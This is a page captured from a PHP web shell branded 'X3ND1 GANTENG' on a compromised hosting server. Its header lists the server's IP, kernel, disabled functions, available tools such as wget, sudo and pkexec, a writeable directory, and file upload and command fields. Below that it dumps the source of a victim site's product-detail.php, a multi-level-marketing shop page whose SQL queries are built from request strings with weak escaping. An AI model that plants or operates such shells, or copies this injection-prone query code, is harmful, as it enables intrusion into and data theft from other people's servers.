X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.147.86.104
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/Development/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/Development/product-detail.php
<?php 
include "includes/new_header2.php";
$pid=isset($_REQUEST['id'])?mysql_real_escape_string($_REQUEST['id']):0;	
$pinfo=$com_obj->singlerec("select * from mlm_products where pro_id='$pid' and pro_status='0'");	
$img=$website_url."/uploads/products/logo/original/".$pinfo['pro_logo'];
if(empty($pinfo)){
	echo "<script>location.href='$website_url';</script>";
	header("location:$website_url");
	exit;
}
include "config/instamojo.php";
define(API_KEY, $API_KEY);
define(AUTH_TOKEN, $AUTH_TOKEN);
$Instamojo=new Instamojo(API_KEY, AUTH_TOKEN, $AUTH_URL);
if(isset($buyPrd)) {
	$randkey=uniqid();
	$curdate=date("Y-m-d");
	$ip=$_SERVER['REMOTE_ADDR'];
	$qty=addslashes($_REQUEST['qty']);
	$amt=$qty*$pinfo['pro_cost'];
	try {
		$response=$Instamojo->paymentRequestCreate(array(
			"purpose" => "Purchase - $pinfo[pro_name]",
			"amount" => $amt,
			"send_email" => true,
			"email" => $userdetail['user_email'],
			"redirect_url" => $website_url."purchaseresp.php"
		));
		$set="pay_user='$userdetail[user_id]'";
		$set.=",randomkey='$randkey'";
		$set.=",pay_userid='$userdetail[user_profileid]'";
		$set.=",pay_email='$userdetail[user_email]'";
		$set.=",pay_phone='$userdetail[user_phone]'";
		$set.=",pay_product='$pid'";
		$set.=",pay_amount='$amt'";
		$set.=",pay_qty='$qty'";
		$set.=",pay_type='Instamojo'";
		$set.=",pay_date='$curdate'";
		$set.=",pay_ip='$ip'";
		$set.=",pay_txnid='$response[id]'";
		$com_obj->insertrec("insert into mlm_purchase set $set");
		echo "<script>location.href='$response[longurl]';</script>";
		header("Location: $response[longurl]");
		exit;
	}
	catch (Exception $e) {
		print('Error: ' . $e->getMessage());
	}
}
?>
		<div class="quick-view product-details section-padding-top">
			<div class="container">
				<div class="row">
					<div class="col-xs-12">
						<div class="row">
							<div class="col-xs-12 col-sm-5">
								<div class="quick-image">
									<div class="single-quick-image tab-content text-center">
										<div class="simpleLens-container tab-pane  fade in" id="sin-1">
											<a class="simpleLens-image" data-lens-image="<?=$img;?>" href="#"><img src="<?=$img;?>" alt="" class="simpleLens-big-image"></a>
										</div>
										<div class="simpleLens-container tab-pane fade active in" id="sin-2">
											<a class="simpleLens-image" data-lens-image="<?=$img;?>" href="#"><img src="<?=$img;?>" alt="" class="simpleLens-big-image"></a>
										</div>
										<div class="simpleLens-container tab-pane fade in" id="sin-3">
											<a class="simpleLens-image" data-lens-image="<?=$img;?>" href="#"><img src="<?=$img;?>" alt="" class="simpleLens-big-image"></a>
										</div>
										<div class="simpleLens-container tab-pane fade in" id="sin-4">
											<a class="simpleLens-image" data-lens-image="<?=$img;?>" href="#"><img src="<?=$img;?>" alt="" class="simpleLens-big-image"></a>
										</div>
										<div class="simpleLens-container tab-pane fade in" id="sin-5">
											<a class="simpleLens-image" data-lens-image="<?=$img;?>" href="#"><img src="<?=$img;?>" alt="" class="simpleLens-big-image"></a>
										</div>
										<div class="simpleLens-container tab-pane fade in" id="sin-6">
											<a class="simpleLens-image" data-lens-image="<?=$img;?>" href="#"><img src="<?=$img;?>" alt="" class="simpleLens-big-image"></a>
										</div>
									</div>
								</div>
							</div>
							<div class="col-xs-12 col-sm-7">
								<div class="quick-right">
									<div class="quick-right-text">
										<h3><strong><?=$pinfo['pro_name']?></strong></h3>
										
										<div class="amount">
											<h4><?=$pinfo['pro_cost'].' '.$sitecurrency;?></h4>
										</div>
										
										<strong>Short Description</strong>
										<?=$pinfo['pro_desc'];?>
										
										<strong>Long Description</strong>
										<?=$pinfo['pro_longdesc'];?>
										
										<strong>Features</strong>
										<?=$pinfo['pro_features'];?>
										
										<div class="dse-btn" style="margin-top:30px;">
											<div class="row">
												<div class="col-sm-7 col-md-6">
													<div class="por-dse">
														<ul>
															<li class="share-btn qty clearfix"><span>quantity</span>
																<form action="" method="post">
																	<div class="plus-minus">
																		<a class="dec qtybutton">-</a>
																		<input type="text" min="1" value="1" name="qty" class="plus-minus-box">
																		<a class="inc qtybutton">+</a>
																	</div>
																	<input class="btn btn-info" type="submit" name="buyPrd" value="Buy Now">
																</form>
															</li>
														</ul>
													</div>
												</div>
											</div>
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
					<!-- single-product item end -->
				</div>
				<!-- reviews area start -->
				
				<!-- reviews area end -->
			</div>
		</div>
		<!-- product-details section end -->
        <!-- new-products section start -->
		<section class="hidden new-products single-products section-padding-top">
			<div class="container">
				<div class="row">
					<div class="col-xs-12">
						<div class="section-title">
							<h3>related products</h3>
						</div>
					</div>
				</div>
				<div class="row text-center">
					<div id="new-products" class="owl-carousel product-slider owl-theme">
						<div class="col-xs-12">
							<div class="single-product">
								<div class="product-img">
									
									<a href="#"><img src="<?=$img;?>" alt="Product Title" /></a>
								</div>
								<div class="product-dsc">
									<p><a href="#">Product Title</a></p>
									<span>$52.00</span>
								</div>
								
							</div>
						</div>
						<!-- single product end -->
						<div class="col-xs-12">
							<div class="single-product">
								<div class="product-img">
									
									<a href="#"><img src="img/products/2.png" alt="Product Title" /></a>
								</div>
								<div class="product-dsc">
									<p><a href="#">Product Title</a></p>
									<span>$52.00</span>
								</div>
								
							</div>
						</div>
						<!-- single product end -->
						<div class="col-xs-12">
							<div class="single-product">
								<div class="product-img">
									<a href="#"><img src="img/products/3.png" alt="Product Title" /></a>
								</div>
								<div class="product-dsc">
									<p><a href="#">Product Title</a></p>
									<span>$52.00</span>
								</div>
								
							</div>
						</div>
						<!-- single product end -->
						<div class="col-xs-12">
							<div class="single-product">
								<div class="product-img">
									<a href="#"><img src="img/products/4.png" alt="Product Title" /></a>
								</div>
								<div class="product-dsc">
									<p><a href="#">Product Title</a></p>
									<span>$52.00</span>
								</div>
								
							</div>
						</div>
						<!-- single product end -->
						<div class="col-xs-12">
							<div class="single-product">
								<div class="product-img">
									
									<a href="#"><img src="img/products/5.png" alt="Product Title" /></a>
								</div>
								<div class="product-dsc">
									<p><a href="#">Product Title</a></p>
									<span>$52.00</span>
								</div>
								
							</div>
						</div>
						<!-- single product end -->
					</div>
				</div>
			</div>
		</section>
		<!-- new-products section end -->
        <!-- quick view start -->
		
		<!-- quick view end -->
        <!-- footer section start -->
		<footer class="section-padding-top">
			<!-- brand logo area start -->
		
	<?php include "includes/new_footer.php";?>

Anon7 - 2022
SCDN GOK